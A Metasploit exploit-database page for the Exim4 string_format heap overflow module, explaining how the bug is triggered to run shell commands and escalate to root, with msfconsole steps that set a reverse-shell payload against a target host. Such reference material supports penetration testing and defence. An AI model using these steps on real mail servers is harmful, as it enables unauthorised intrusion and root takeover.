Exim4 <= 4.69 string_format Function Heap Buffer Overflow | Metasploit Exploit Database (DB)

Exim4 <= 4.69 string_format Function Heap Buffer Overflow

This module exploits a heap buffer overflow within versions of Exim prior to version 4.69. By sending a specially crafted message, an attacker can corrupt the heap and execute arbitrary code with the privileges of the Exim daemon. The root cause is that no check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. In order to trigger this issue, we get our message rejected by sending a message that is too large. This will call into log_write to log rejection headers (which is a default configuration setting). After filling the buffer, a long header string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL FROM' command. By sending a second message, the string we sent will be evaluated with 'expand_string' and arbitrary shell commands can be executed. It is likely that this issue could also be exploited using other techniques such as targeting in-band heap management structures, or perhaps even function pointers stored in the heap. However, these techniques would likely be far more platform specific, more complicated, and less reliable. This bug was original found and reported in December 2008, but was not properly handled as a security issue. Therefore, there was a 2 year lag time between when the issue was fixed and when it was discovered being exploited in the wild. At that point, the issue was assigned a CVE and began being addressed by downstream vendors. An additional vulnerability, CVE-2010-4345, was also used in the attack that led to the discovery of danger of this bug. This bug allows a local user to gain root privileges from the Exim user account. If the Perl interpreter is found on the remote system, this module will automatically exploit the secondary bug as well to get root.

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Exploit Rank

  • Excellent

Exploit Authors

  • jduck < jduck [at] metasploit.com >
  • hdm < hdm [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/unix/smtp/exim4_string_format
msf exploit(exim4_string_format) > show payloads
msf exploit(exim4_string_format) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(exim4_string_format) > set LHOST [MY IP ADDRESS]
msf exploit(exim4_string_format) > set RHOST [TARGET IP]
msf exploit(exim4_string_format) > exploit


Exploit Module Options

EHLO_NAME The name to send in the EHLO
MAILFROM FROM address of the e-mail (default: root@localhost)
MAILTO TO address of the e-mail (default: postmaster@localhost)
RHOST The target address
RPORT The target port (default: 25)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
SkipEscalation Specify this to skip the root escalation attempt
SkipVersionCheck Specify this to skip the version check
SourceAddress The IP or hostname of this system as the target will resolve it
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)